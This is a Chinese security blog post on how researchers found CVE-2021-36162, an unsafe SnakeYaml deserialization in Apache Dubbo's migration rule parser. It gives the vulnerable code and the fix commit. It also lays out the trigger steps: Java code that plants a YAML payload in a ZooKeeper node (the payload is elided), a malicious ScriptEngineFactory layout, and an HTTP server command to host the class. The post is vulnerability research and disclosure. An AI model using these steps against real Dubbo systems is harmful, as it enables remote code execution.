Apache Dubbo CVE-2021-36162 挖掘过程

渗透技巧 3年前 (2022) admin

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01 漏洞背景

发现该漏洞的起因是在分析 CVE-2021-30181 的脚本注入补丁的时候，意外发现了几个已被修复的 yaml 反序列化漏洞，还以为是未公开的Nday，查询后发现其实对应的是 CVE-2021-30180 漏洞的修复代码。通过查看补丁可以知道，Router 模块中所有yaml.load的调用中都使用了SafeConstructor白名单过滤，无法正常利用。

“关于本文中出现的 SnakeYaml 反序列化相关知识，可以参考公众号之前发送的推文——《Java SnakeYaml反序列化分析》”。

在代码中搜索yaml.load的调用，发现还有另外一个模块存在调用，并且没有使用SafeConstructor等修复措施，漏洞代码位置如下所示：

public class MigrationRule {    private static final String DUBBO_SERVICEDISCOVERY_MIGRATION_KEY = "dubbo.application.service-discovery.migration";    public static final String DUBBO_SERVICEDISCOVERY_MIGRATION_GROUP = "MIGRATION";    public static final String RULE_KEY = ApplicationModel.getName() + ".migration";    private static DynamicConfiguration configuration = null;    private String key;    private MigrationStep step;
    ...
    public static MigrationRule parse(String rawRule) {        if (null == configuration) {            return getMigrationRule((String)null);        } else if (!StringUtils.isBlank(rawRule) && !"INIT".equals(rawRule)) {            Constructor constructor = new Constructor(MigrationRule.class);            Yaml yaml = new Yaml(constructor);            return (MigrationRule)yaml.load(rawRule);        } else {            String step = (String)configuration.getInternalProperty("dubbo.application.service-discovery.migration");            return getMigrationRule(step);        }    }
    ...
}

因此CVE-2021-30180的 PoC 也是可以在这里进行利用的，具体的反序列化利用链 Github 安全实验室已公布，感兴趣的同学可以自行参照其改造 CVE-2021-36162 漏洞的利用链。

02 漏洞触发

有了 yaml 反序列化利用链，接下来就是看看如何触发这个漏洞。参照之前的漏洞触发方式，需要通过在 ZooKeeper（下文简写为 ZK）上增加节点存入恶意数据来完成触发，因此有两个问题需要解决：

1. 在 ZK 哪个节点中添加恶意 yaml 数据？

2. 如何让消费者读取并解析这个 yaml 数据？

问题一

通过搜索 Migation 功能可以找到下面的文档，Dubbo 利用该功能来控制消费者执行不同的选址策略，根据内容可以大致确定可以通过全局的配置中心 ZK 来控制恶意的数据。

正常的运行消费者和服务端并进行抓包，可以发现其中包含与 migration 相关的 ZK Path，尝试在其中创建相关节点，并在下列路径中插入任意数据：

问题二

完成任意数据的插入以后，再次运行消费者可以发现有如下解析异常的报错信息，证明插入的数据已经生效，成功进入到了漏洞代码当中。

尝试将构造好的 PoC 插入到上述的路径当中，这里会发现由于 PoC 中有很多的空格、特殊符号之类的字符存在，直接通过 ZKCli.sh 插入 PoC 会出现各种问题，导致漏洞无法正常触发，因此需要通过 Java 调用第三方包的方式来向 ZK 中添加数据，具体代码如下所示：

• 使用下列代码插入恶意 Yaml 数据

// 在看到 github 官方插入代码前自行实现的插入逻辑public class RegisterYaml {    public static void main(String[] args) throws Exception {        String path = "/dubbo/config/MIGRATION/consumer-of-helloworld-app.migration";        String poc = "...";
        RetryPolicy retryPolicy = new ExponentialBackoffRetry(1000,3);        CuratorFramework client = CuratorFrameworkFactory.newClient("127.0.0.1:2181", retryPolicy);        client.start();
        Stat stat = client.checkExists().forPath(path);
        if (stat != null) {            client.delete().forPath(path);        }
        client.create().forPath(path, poc.getBytes());    }}

准备好漏洞触发所需的 SPI 配置文件，以及待执行的 Class 字节码文件即可，具体的文件目录结构如下所示：

├── META-INF│   └── services│       └── javax.script.ScriptEngineFactory└── cc    └── m01n        └── SnakeYaml            └── AwesomeScriptEngineFactory.class

在 META-INF 同级目录下使用 Python 启动 HTTP Server

• python3 -m http.server 8000

先启动服务端代码，再运行消费者代码，即可触发漏洞：

03 漏洞分析

在MigrationRuleListener 类中打下断点，其中会调用 this.configuration.getConfig 从 ZK 中获取 yaml 数据到rawRule属性中，可以看到取出来的就是我们写入的恶意 yaml 数据。

继续跟进发现MigrationRuleListener实例是通过自定义的 SPI ExtensionLoader#createExtension 创建完成。

后面会对MigrationRuleListener实例调用onRefer方法，触发到后续的 yaml 数据解析操作。

进去断点跟进可以看到，rawRule中的 yaml 数据会被传入到 yaml.load 方法中，导致反序列化漏洞。

04 漏洞修复

该漏洞在 2.7.13 版本完成了修复，修复思路 CVE-2021-30180 方式一致，采用了SafeConstructor进行修复，具体修复补丁如下所示：

https://github.com/apache/dubbo/commit/bfa4b3bb6660d404c0715f54f8743dda45b46909

绿盟科技天元实验室专注于新型实战化攻防对抗技术研究。

研究目标包括：漏洞利用技术、防御绕过技术、攻击隐匿技术、攻击持久化技术等蓝军技术，以及攻击技战术、攻击框架的研究。涵盖Web安全、终端安全、AD安全、云安全等多个技术领域的攻击技术研究，以及工业互联网、车联网等业务场景的攻击技术研究。通过研究攻击对抗技术，从攻击视角提供识别风险的方法和手段，为威胁对抗提供决策支撑。

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